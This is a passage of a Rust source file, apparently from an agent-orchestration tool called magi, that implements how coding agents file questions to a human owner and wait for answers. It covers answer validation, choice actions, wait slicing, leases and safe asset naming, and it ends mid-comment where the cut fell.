Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64pub const SCHEMA: u32 = 12;
65
66/// How often the wait re-reads the question file.
67///
68/// Three seconds: the answer comes from a human on a phone, so the difference
69/// between three seconds and three hundred milliseconds is invisible to them,
70/// while a tight loop would `stat` and parse a file thousands of times per
71/// minute for a wait that routinely lasts hours. Nothing is held between polls -
72/// no lock, no open handle - because `magi web` and `magi answer` write the
73/// same file from other processes.
74const POLL: Duration = Duration::from_secs(3);
75
76/// How long an agent's reply may go unnoticed before it earns its own
77/// notification.
78///
79/// An operator reading the card when the agent replies does not need paging
80/// again for a conversation they are already in; one who walked away still
81/// needs the tap on the shoulder. Five minutes is a judgement call about that
82/// line, not a policy a repository has an opinion about, which is why it lives
83/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
84/// whether they are still looking at the phone, and neither can this build, so
85/// there is nothing for a per-repository setting to be *right* about.
86const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
87
88/// How long the operator's notification command may run before it is killed.
89///
90/// A webhook that hangs must not hang the run. Twenty seconds is long enough
91/// for a slow HTTP round trip and short enough that the operator still gets the
92/// question filed and the run parked in a bounded time.
93const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
94
95/// The longest a single `magi ask` invocation may block on the owner before
96/// it hands the wait back to whatever is running it, rather than to
97/// [`Question::abandon`].
98///
99/// `answer_timeout` defaults to a day, and that is a deadline for the
100/// *question*, not a budget the calling process is free to spend all at
101/// once: an agent CLI's own shell tool kills a command that runs much longer
102/// than this, and the child it kills is `magi ask` itself - the one thing
103/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
104/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
105/// out, and the seat's own summary said it had backgrounded the blocking
106/// `magi ask` and would "continue once the owner replies" - except nothing
107/// was left to notice the reply. The seat exited `completed`, the
108/// backgrounded child died with it, and the owner's eventual answer on the
109/// web UI had nobody left to read it.
110///
111/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
112/// and returns [`Wait::Pending`] if nothing happened, which is not a
113/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
114/// process the tool timeout has never seen. Four minutes leaves a ten-minute
115/// tool budget room for the CLI's own startup and the notification's round
116/// trip, while staying long enough that an owner who answers within the hour
117/// is not making an agent loop through fifteen slices to hear about it.
118const WAIT_SLICE: Duration = Duration::from_secs(240);
119
120/// How long a lease stays believable after its last beat.
121///
122/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
123/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
124/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
125/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
126/// or about to be, and a lease that is merely between two calls must not be
127/// mistaken for that - the daemon waiter would start a second agent on a
128/// conversation the first is still in.
129pub const LEASE_TTL: Duration = Duration::from_secs(90);
130
131/// How long [`Questions::update`]'s lock may be held before it is presumed
132/// left behind by a writer that died.
133const LOCK_STALE: Duration = Duration::from_secs(10);
134
135/// Environment variable naming the base URL of the web UI, for `{url}`.
136///
137/// A run cannot discover this by itself: `magi web` is a different process,
138/// usually started by hand and often on a different machine on the tailnet, and
139/// the address it settled on (Tailscale IP, port, or the fallback it warned
140/// about) exists only in that process. So the operator names it once, in the
141/// environment `magi serve` runs in - `magi web --open` prints exactly the
142/// string to use on stdout. Unset means `{url}` expands to nothing rather than
143/// to a guess: a notification carrying a link to an address nothing is
144/// listening on is worse than one carrying no link at all.
145pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
146
147/// Largest panel magi will store, html plus assets.
148///
149/// Checked as a total, before a single byte is written, because the failure
150/// this prevents is not a full disk but a half-copied panel: an agent that
151/// points at a 200 MB screen recording must get one clean error, not a
152/// directory holding the three small files that fitted before the copy died.
153/// Eight mebibytes is far more than a diff, a table and a handful of images
154/// need, and small enough that a phone on a hotel link still renders it.
155pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
156
157/// Suffix of the directory holding one question's panel.
158///
159/// A sibling of `<id>.json` rather than a subdirectory of the store, so
160/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
161/// see it, and so a panel travels with the question it belongs to.
162const PANEL_DIR: &str = ".panel";
163
164/// The panel's entry point inside its directory.
165const PANEL_HTML: &str = "index.html";
166
167/// Scratch directory a panel is assembled in before it is swapped into place.
168const PANEL_TMP: &str = ".panel.tmp";
169
170/// The one asset filename rule, applied on write **and** on read.
171///
172/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
173/// containing `..`. The pattern is this narrow because the name arrives from
174/// two untrusted directions and is then joined onto a path: an agent naming
175/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
176/// character that could change what the join means is outside the set - `/`
177/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
178/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
179/// refused, which matters because on Windows `Path::join` with an absolute
180/// path *discards the whole prefix* and would serve any file on the disk.
181/// `..` is refused anywhere rather than only at the front so the rule reads
182/// the same as the sentence "no traversal" to anyone auditing it.
183///
184/// The length bound keeps a name inside every filesystem's limit, so a panel
185/// that stores cannot fail to store on the operator's other machine.
186pub fn valid_asset_name(name: &str) -> bool {
187    if name.is_empty() || name.len() > 64 || name.contains("..") {
188        return false;
189    }
190    let mut chars = name.chars();
191    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
192        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
193}
194
195/// Where a question is in its life.
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
197#[serde(rename_all = "lowercase")]
198pub enum QuestionStatus {
199    /// Asked, and waiting for the owner. A run is parked behind it.
200    Open,
201    /// The owner decided. [`Question::answer`] holds what they said.
202    Answered,
203    /// Nobody answered in time, or the question outlived the run that asked.
204    /// Kept rather than deleted: what was asked and never answered is the
205    /// evidence that the operator was the bottleneck.
206    Abandoned,
207}
208
209impl QuestionStatus {
210    /// Is a run still parked behind this question?
211    pub fn open(self) -> bool {
212        matches!(self, Self::Open)
213    }
214
215    /// Lowercase name, as it appears on disk and in the API.
216    pub fn as_str(self) -> &'static str {
217        match self {
218            Self::Open => "open",
219            Self::Answered => "answered",
220            Self::Abandoned => "abandoned",
221        }
222    }
223}
224
225/// What the owner said.
226///
227/// Two shapes rather than one string because the question decides which is
228/// admissible, and [`Question::answer`] enforces it. A phone that posts
229/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
230/// front end, and it is caught here rather than handed to an agent as fact.
231#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
232#[serde(rename_all = "lowercase")]
233pub enum Answer {
234    /// One of the offered choices, verbatim.
235    Choice(String),
236    /// Free text, for a question that offered no choices.
237    Text(String),
238}
239
240/// What the daemon does to the task behind a question when a particular
241/// choice is answered.
242///
243/// A closed set, attached to a choice by the asker (`magi ask --choice X
244/// --action X=resume`) and matched by the choice's exact text. Nothing here
245/// is ever derived from the wording of a label or of a free-text answer: a
246/// question without an action for the chosen label does nothing but answer.
247#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
248#[serde(tag = "do", rename_all = "lowercase")]
249pub enum ChoiceAction {
250    /// Resume this run of the task that owns the question.
251    Resume {
252        /// The run to continue. Must still be the task's latest run.
253        run: String,
254    },
255    /// Resume a named execution through the shared driver service.
256    ResumeRun {
257        /// Exact run ID; never a prefix resolved at application time.
258        run: String,
259    },
260    /// Release only the exact hold the question was filed about.
261    ReleaseTask {
262        /// Exact queue task ID.
263        task: String,
264        /// Start of the hold observed when filing the question.
265        held_at: jiff::Timestamp,
266        /// Exact hold reason (including its absence) observed when filing.
267        reason: Option<String>,
268    },
269    /// Rerun these failed workflow runs once, on this exact PR head.
270    RerunChecks {
271        /// Repository used for forge access.
272        repo: PathBuf,
273        /// Named pull request URL or number.
274        pr: String,
275        /// Commit whose checks the owner saw.
276        head: String,
277        /// Failed workflow run IDs, bounded to twenty.
278        runs: Vec<String>,
279    },
280    /// End a predecessor only after the shared driver judge proves it dead.
281    AbandonRun {
282        /// Exact predecessor run ID.
283        run: String,
284    },
285    /// Requeue the task as a fresh competition.
286    Requeue,
287    /// Hold the task until the operator releases it.
288    Hold,
289    /// Close the task as done.
290    Done,
291}
292
293impl ChoiceAction {
294    /// Queue owners affected by a named maintenance action.
295    pub fn targets(&self, task: &crate::queue::Task) -> bool {
296        match self {
297            Self::ReleaseTask { task: id, .. } => task.id == *id,
298            Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
299                task.runs.contains(run)
300            }
301            _ => false,
302        }
303    }
304
305    /// Maintenance effects are applied exclusively by the daemon.
306    pub fn maintenance(&self) -> bool {
307        matches!(
308            self,
309            Self::ResumeRun { .. }
310                | Self::ReleaseTask { .. }
311                | Self::RerunChecks { .. }
312                | Self::AbandonRun { .. }
313        )
314    }
315
316    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
317    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
318    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
319    /// action; whether the label is one of the choices is the caller's check.
320    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
321        let split = spec
322            .find("={")
323            .map(|at| (&spec[..at], &spec[at + 1..]))
324            .or_else(|| spec.rsplit_once('='));
325        let Some((label, verb)) = split else {
326            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
327        };
328        let label = label.trim();
329        if label.is_empty() {
330            bail!("`--action {spec}` names no choice before `=`");
331        }
332        let verb = verb.trim();
333        if verb.starts_with('{') {
334            let action = serde_json::from_str(verb).context("parse typed choice action")?;
335            return Ok((label.to_owned(), action));
336        }
337        let action = match verb.split_once(':') {
338            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
339                run: run.trim().into(),
340            },
341            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
342                run: run.trim().into(),
343            },
344            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
345                run: run.trim().to_owned(),
346            },
347            None if verb == "resume" => {
348                if default_run.is_empty() {
349                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
350                }
351                Self::Resume {
352                    run: default_run.to_owned(),
353                }
354            }
355            None if verb == "requeue" => Self::Requeue,
356            None if verb == "hold" => Self::Hold,
357            None if verb == "done" => Self::Done,
358            _ => bail!(
359                "unknown action `{verb}` in `--action {spec}`; \
360                 use resume[:<run>], requeue, hold or done"
361            ),
362        };
363        Ok((label.to_owned(), action))
364    }
365
366    /// Stable aliases for internal recovery, independent of display labels.
367    /// Other effects still require their offered labels and existing consent.
368    pub fn matches_alias(&self, input: &str) -> bool {
369        let input = input.trim();
370        match self {
371            Self::Resume { run } => {
372                [
373                    "resume",
374                    "resume run",
375                    "resume-run",
376                    "再開",
377                    "実行再開",
378                    "実行を再開",
379                    "実行を再開する",
380                ]
381                .iter()
382                .any(|alias| input.eq_ignore_ascii_case(alias))
383                    || [
384                        format!("resume {run}"),
385                        format!("resume:{run}"),
386                        format!("resume run {run}"),
387                        format!("resume {}", short(run)),
388                        format!("resume run {}", short(run)),
389                    ]
390                    .iter()
391                    .any(|alias| input.eq_ignore_ascii_case(alias))
392            }
393            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
394                .iter()
395                .any(|alias| input.eq_ignore_ascii_case(alias)),
396            _ => false,
397        }
398    }
399
400    /// Short human wording, for `magi show` and the card.
401    pub fn describe(&self) -> String {
402        match self {
403            Self::Resume { run } => format!("resume run {}", short(run)),
404            Self::ResumeRun { run } => format!("resume run {}", short(run)),
405            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
406            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
407            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
408            Self::Requeue => "requeue the task".to_owned(),
409            Self::Hold => "hold the task until the operator releases it".to_owned(),
410            Self::Done => "mark the task done".to_owned(),
411        }
412    }
413}
414
415/// Parse every `--action` value against the offered `choices`, refusing a
416/// label the question does not offer (it could never fire).
417pub fn parse_actions(
418    specs: &[String],
419    choices: &[String],
420    default_run: &str,
421) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
422    let mut out = std::collections::BTreeMap::new();
423    for spec in specs {
424        let (label, action) = ChoiceAction::parse(spec, default_run)?;
425        if !choices.contains(&label) {
426            bail!(
427                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
428                choices.join(", ")
429            );
430        }
431        if out.insert(label.clone(), action).is_some() {
432            bail!("more than one --action for `{label}`");
433        }
434    }
435    Ok(out)
436}
437
438/// Who wrote one turn of a question's conversation.
439///
440/// Two values, not three: [`Question::thread`] is the record of a single
441/// question stopping and resuming, and the agent that resumes it is always
442/// the one that asked - a fresh consultant would have to be caught up on
443/// everything the first agent already knows, which is the round trip this
444/// module exists to avoid. The names and the wire spelling deliberately match
445/// [`crate::chat::Who`], which this module does not depend on: the two are the
446/// same idea in two products, and giving them the same shape is what lets the
447/// phone render both with one component.
448#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
449#[serde(rename_all = "lowercase")]
450pub enum Who {
451    /// The person the agent asked.
452    Operator,
453    /// The agent that asked, replying to a question of its own rather than
454    /// answering.
455    Agent,
456}
457
458/// One turn in a question's back-and-forth, after the question itself was
459/// asked.
460///
461/// The question's own `summary`/`detail`/`choices` already carry the agent's
462/// opening move, so a turn only exists from the moment the owner talks back -
463/// [`Question::thread`] starts empty and stays that way for the overwhelming
464/// majority of questions, which are answered on the first read.
465#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
466#[serde(deny_unknown_fields)]
467pub struct Turn {
468    /// Who said it.
469    pub who: Who,
470    /// What they said.
471    pub body: String,
472    /// When they said it.
473    pub at: Timestamp,
474    /// A deputy's own report beside a settle: side effects it caused and
475    /// requests it could not carry out. The deputy's claim, never checked by
476    /// magi, and kept apart from `body` so the verified "Settled as" line and
477    /// this self-report cannot be mistaken for each other.
478    #[serde(default, skip_serializing_if = "Option::is_none")]
479    pub note: Option<String>,
480}
481
482/// Who is keeping watch over an open question.
483#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
484#[serde(rename_all = "lowercase")]
485pub enum WaiterKind {
486    /// The `magi ask` process the agent started.
487    Asker,
488    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
489    /// own session because the asker is gone.
490    Daemon,
491    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
492    /// `magi serve` runs for a question the conductor filed, so that something
493    /// which remembers why it was asked is on the other end.
494    Deputy,
495}
496
497/// The follow-up seat a conductor question hands its wait to.
498///
499/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
500/// reply to its question would reach nobody. A deputy is a seat of its own -
501/// keyed `deputy-<question id>`, never the conductor's shared seat - that
502/// inherits what the conductor knew about this one question ([`Deputy::brief`])
503/// and blocks on it with `magi ask --wait`. Persisted on the question so a
504/// restarted daemon resumes the same CLI conversation instead of assuming it.
505///
506/// Written only through [`Questions::update`]: the owner's say and answer land
507/// on the same file.
508#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
509pub struct Deputy {
510    /// Why the question was asked, what each choice leads to: the conductor's
511    /// context for this one question, handed to the deputy in its prompt.
512    pub brief: String,
513    /// The agent that holds the seat. Empty until the first start.
514    #[serde(default)]
515    pub agent: String,
516    /// The deputy's own conversation. `None` until the first start.
517    #[serde(default)]
518    pub seat: Option<crate::agent::SeatState>,
519    /// How many times a deputy turn was started for this question. Never reset
520    /// by a restart, so a deputy that keeps dying is bounded.
521    #[serde(default)]
522    pub starts: u32,
523}
524
525impl Deputy {
526    /// A deputy that has not started yet, holding `brief`.
527    pub fn new(brief: String) -> Self {
528        Self {
529            brief,
530            agent: String::new(),
531            seat: None,
532            starts: 0,
533        }
534    }
535}
536
537/// Seat name of the deputy for question `id`.
538pub fn deputy_seat_key(id: &str) -> String {
539    format!("deputy-{}", short(id))
540}
541
542/// The record's note of who was last known to be waiting.
543///
544/// A note, not a promise: nothing rewrites the question when a holder dies, so
545/// whether it still holds is read from the [`Lease`] beside it.
546#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
547pub struct Waiter {
548    /// Who took the wait.
549    pub kind: WaiterKind,
550    /// When they took it.
551    pub since: Timestamp,
552}
553
554/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
555///
556/// A sidecar rather than a field of the question because a holder beats every
557/// few seconds, and rewriting the question that often would race the phone's
558/// answer and say with lost updates. It is not `*.json`, so
559/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
560/// different things across platforms, while a beat that stopped is evidence on
561/// every one.
562#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
563pub struct Lease {
564    /// Who beat last.
565    pub kind: WaiterKind,
566    /// Their process id, for a human reading the file.
567    pub pid: u32,
568    /// When they beat last.
569    pub beat_at: Timestamp,
570}
571
572impl Lease {
573    /// Was the last beat recent enough to believe the holder is still there?
574    pub fn fresh(&self, now: Timestamp) -> bool {
575        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
576    }
577}
578
579/// One decision magi will not take on the owner's behalf.
580#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
581#[serde(deny_unknown_fields)]
582pub struct Question {
583    /// On-disk format version.
584    pub schema: u32,
585    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
586    /// task's, so the operator can paste any of them at any prefix argument.
587    pub id: String,
588    /// Run that is parked behind this question.
589    pub run: String,
590    /// Graph node the asking agent was working in, e.g. `implement`.
591    pub node: String,
592    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
593    /// this" decides whether the answer unblocks one candidate or all of them.
594    pub seat: String,
595    /// One line: the question itself. This is what a notification carries and
596    /// what the phone shows above the answer controls.
597    pub summary: String,
598    /// The reasoning behind the question, as markdown. May be long, may be
599    /// empty. Rendered as text nodes by the UI, never as markup.
600    pub detail: String,
601    /// Display-only comparison; never used to decide or construct a post.
602    #[serde(default, skip_serializing_if = "Option::is_none")]
603    pub posting_comparison: Option<crate::github_text::PostingComparison>,
604    /// The admissible answers. **Empty means free text** - that one condition
605    /// is the whole difference between the two kinds of question, on disk, in
606    /// the UI, and in [`Question::answer`]'s validation.
607    pub choices: Vec<String>,
608    /// Exact PR and head displayed to the owner. Absent on legacy questions.
609    #[serde(default)]
610    pub merge_target: Option<crate::merge_decision::Target>,
611    /// What the daemon does when a given choice is answered, keyed by the
612    /// choice's exact text. Empty for an ordinary question. A key is always
613    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
614    #[serde(default)]
615    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
616    /// Does this question have an agent-authored HTML panel beside it?
617    ///
618    /// Serialised with a default so a question written by an older magi - or
619    /// by hand - still deserialises rather than failing the whole store, which
620    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
621    /// open question the operator was looking for.
622    #[serde(default)]
623    pub panel: bool,
624    /// Files copied in beside the panel's html, by base name, sorted.
625    ///
626    /// The list exists so a reader knows what a panel is made of without
627    /// walking the directory, and every entry satisfies [`valid_asset_name`].
628    /// Sorted because it is compared - a question re-asked with the same
629    /// assets in a different argument order is not a different question.
630    #[serde(default)]
631    pub assets: Vec<String>,
632    /// Current state.
633    pub status: QuestionStatus,
634    /// When the agent asked.
635    pub asked_at: Timestamp,
636    /// Operator decision generation when a built-in triage question was filed.
637    #[serde(default)]
638    pub triage_generation: Option<u64>,
639    /// When the owner answered, if they did.
640    pub answered_at: Option<Timestamp>,
641    /// What they said.
642    pub answer: Option<Answer>,
643    /// Everything said after the question itself, oldest first: the owner
644    /// asking back, the agent replying, as many times as it takes before an
645    /// [`Answer`] lands.
646    ///
647    /// `#[serde(default)]` so a question written before this field existed -
648    /// every question on disk before this build - still deserialises as one
649    /// with no conversation yet, rather than failing [`Questions::list`]'s
650    /// read and quietly hiding an open question from the operator.
651    #[serde(default)]
652    pub thread: Vec<Turn>,
653    /// The `answer_timeout`, in seconds, that was in force when this question
654    /// was first asked. `0` means unrecorded - a question written before this
655    /// field existed, or one filed by a flow (land's merge-approval gate)
656    /// that never sets it because it never resumes a sliced wait.
657    ///
658    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
659    /// or the config default) is decided by the caller, after the question
660    /// already exists - so it starts at `0` here and whoever files a fresh
661    /// question sets it once, the same way [`Question::panel`] is set by
662    /// [`Questions::put_panel`] rather than by the constructor. It is never
663    /// touched again: `magi ask --wait` reads it as the one deadline it is
664    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
665    /// on a later call can never quietly extend or shrink the budget the
666    /// question was actually asked with.
667    #[serde(default)]
668    pub answer_timeout: u64,
669    /// The directory the asking agent was working in when it asked, so the
670    /// daemon waiter can resume that agent's session from where it stood.
671    /// `None` for a question no `magi ask` filed (land's approval gate, a
672    /// release notice, one written before this field existed): those have no
673    /// agent to hand anything back to, and the waiter leaves them alone.
674    #[serde(default)]
675    pub cwd: Option<String>,
676    /// Who was last known to be waiting - see [`Waiter`].
677    #[serde(default)]
678    pub waiter: Option<Waiter>,
679    /// How many entries of [`Question::thread`] the agent has been shown, by
680    /// the asking process printing them or by the waiter resuming the seat.
681    /// The owner's turn at an index at or past this has reached nobody yet.
682    #[serde(default)]
683    pub delivered_turns: usize,
684    /// Has the agent been told the [`Answer`]? The asker prints it as it
685    /// returns; the waiter delivers it when the asker was gone.
686    #[serde(default)]
687    pub answer_delivered: bool,
688    /// The follow-up seat waiting on this question, for a question the
689    /// conductor filed. `None` for every other question.
690    #[serde(default)]
691    pub deputy: Option<Deputy>,
692    /// Set once the owner handed this question to the chat it came from
693    /// ([`crate::consult::begin`]). The question stays open; this only records
694    /// that the chat was asked, so a second tap does not post it twice.
695    #[serde(default)]
696    pub consult: Option<ChatConsult>,
697    /// Persisted owner evidence for a standing conversation answer.
698    #[serde(default, skip_serializing_if = "Option::is_none")]
699    pub answer_authority: Option<crate::consult::AnswerAuthority>,
700    /// Independent task facts behind a conductor question. Answered questions
701    /// with unchanged facts must not be regenerated just to ask again.
702    #[serde(default)]
703    pub decision_context: Option<String>,
704}
705
706/// A question the owner passed to the chat conversation its task came from.
707#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
708pub struct ChatConsult {
709    /// The conversation the question was posted into.
710    pub talk: String,
711    /// When it was posted.
712    pub at: Timestamp,
713}
714
715impl Question {
716    /// Does `run` hold a task id rather than a run id? True for the
717    /// conductor's and the triage questions, which are filed about a task.
718    pub fn run_names_task(&self) -> bool {
719        matches!(
720            self.node.as_str(),
721            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
722        )
723    }
724
725    /// Ask something. Persist it with [`Questions::put`], or hand it to
726    /// [`ask_and_wait`], which files it and waits.
727    pub fn new(
728        run: String,
729        node: String,
730        seat: String,
731        summary: String,
732        detail: String,
733        choices: Vec<String>,
734    ) -> Self {
735        Self {
736            schema: SCHEMA,
737            id: new_id(),
738            run,
739            node,
740            seat,
741            summary,
742            detail,
743            posting_comparison: None,
744            choices,
745            merge_target: None,
746            actions: std::collections::BTreeMap::new(),
747            panel: false,
748            assets: Vec::new(),
749            status: QuestionStatus::Open,
750            asked_at: Timestamp::now(),
751            triage_generation: None,
752            answered_at: None,
753            answer: None,
754            thread: Vec::new(),
755            answer_timeout: 0,
756            cwd: None,
757            waiter: None,
758            delivered_turns: 0,
759            answer_delivered: false,
760            deputy: None,
761            consult: None,
762            answer_authority: None,
763            decision_context: None,
764        }
765    }
766
767    /// Short form used in reports and on the phone, matching a run's short id.
768    pub fn short(&self) -> &str {
769        short(&self.id)
770    }
771
772    /// The action attached to the choice that was answered, if the question
773    /// is answered with a choice that carries one. Free text never matches.
774    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
775        match (&self.status, &self.answer) {
776            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
777            _ => None,
778        }
779    }
780
781    /// Does this question want free text rather than one of a set?
782    pub fn free_text(&self) -> bool {
783        self.choices.is_empty()
784    }
785
786    /// Resolve terminal aliases to the exact stored label before authorization.
787    /// Aliases describe structured effects, never translated display text.
788    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
789        if self.free_text() || self.choices.iter().any(|c| c == reply) {
790            return Ok(reply);
791        }
792        if ChoiceAction::Hold.matches_alias(reply)
793            && let Some(label) = self
794                .choices
795                .iter()
796                .find(|label| crate::triage::contextual_keep_held(self, label))
797        {
798            return Ok(label);
799        }
800        let matches: Vec<_> = self
801            .actions
802            .iter()
803            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
804            .collect();
805        match matches.as_slice() {
806            [(label, _)] => Ok(label.as_str()),
807            [] => bail!(
808                "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
809            ),
810            _ => bail!(
811                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
812            ),
813        }
814    }
815
816    /// Record an answer. Rejects a choice the question does not offer, free
817    /// text on a multiple-choice question, an empty answer, and a second
818    /// answer.
819    ///
820    /// Every rejection here is a case where accepting would put a fabrication
821    /// in front of an agent as if the owner had said it. The messages are
822    /// distinct because the caller is a web handler that shows them verbatim,
823    /// and "that is not one of the choices" and "this question is multiple
824    /// choice" are different mistakes with different fixes.
825    pub fn answer(&mut self, answer: Answer) -> Result<()> {
826        match self.status {
827            QuestionStatus::Answered => bail!(
828                "question {} was already answered; the run has moved on and a \
829                 second answer would be a decision nobody acted on",
830                self.short()
831            ),
832            QuestionStatus::Abandoned => bail!(
833                "question {} was abandoned and the run behind it is gone",
834                self.short()
835            ),
836            QuestionStatus::Open => {}
837        }
838        let body = match &answer {
839            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
840        };
841        if body.trim().is_empty() {
842            bail!(
843                "question {} needs an answer; an empty one tells the agent \
844                 nothing and it would guess anyway",
845                self.short()
846            );
847        }
848        match &answer {
849            Answer::Choice(c) if self.free_text() => bail!(
850                "question {} asks for free text, so `{c}` cannot be a choice \
851                 it offered",
852                self.short()
853            ),
854            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
855                "`{c}` is not one of the choices question {} offers: {}",
856                self.short(),
857                self.choices.join(", ")
858            ),
859            Answer::Text(_) if !self.free_text() => bail!(
860                "question {} is multiple choice; answer with one of: {}",
861                self.short(),
862                self.choices.join(", ")
863            ),
864            _ => {}
865        }
866        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
867            bail!("hold cannot execute a question action");
868        }
869        self.answered_at = Some(Timestamp::now());
870        self.answer = Some(answer);
871        self.status = QuestionStatus::Answered;
872        Ok(())
873    }
874
875    /// Give up on an answer, keeping the record of what was asked.
876    ///
877    /// An answered question is left alone, which matters at exactly one moment:
878    /// the owner answering in the same second the wait's deadline passes. The
879    /// answer is the thing worth keeping there, and it has already been written
880    /// by another process.
881    ///
882    /// The reason is appended to [`Question::detail`] because the on-disk shape
883    /// is a contract with the front end and has no field of its own for it -
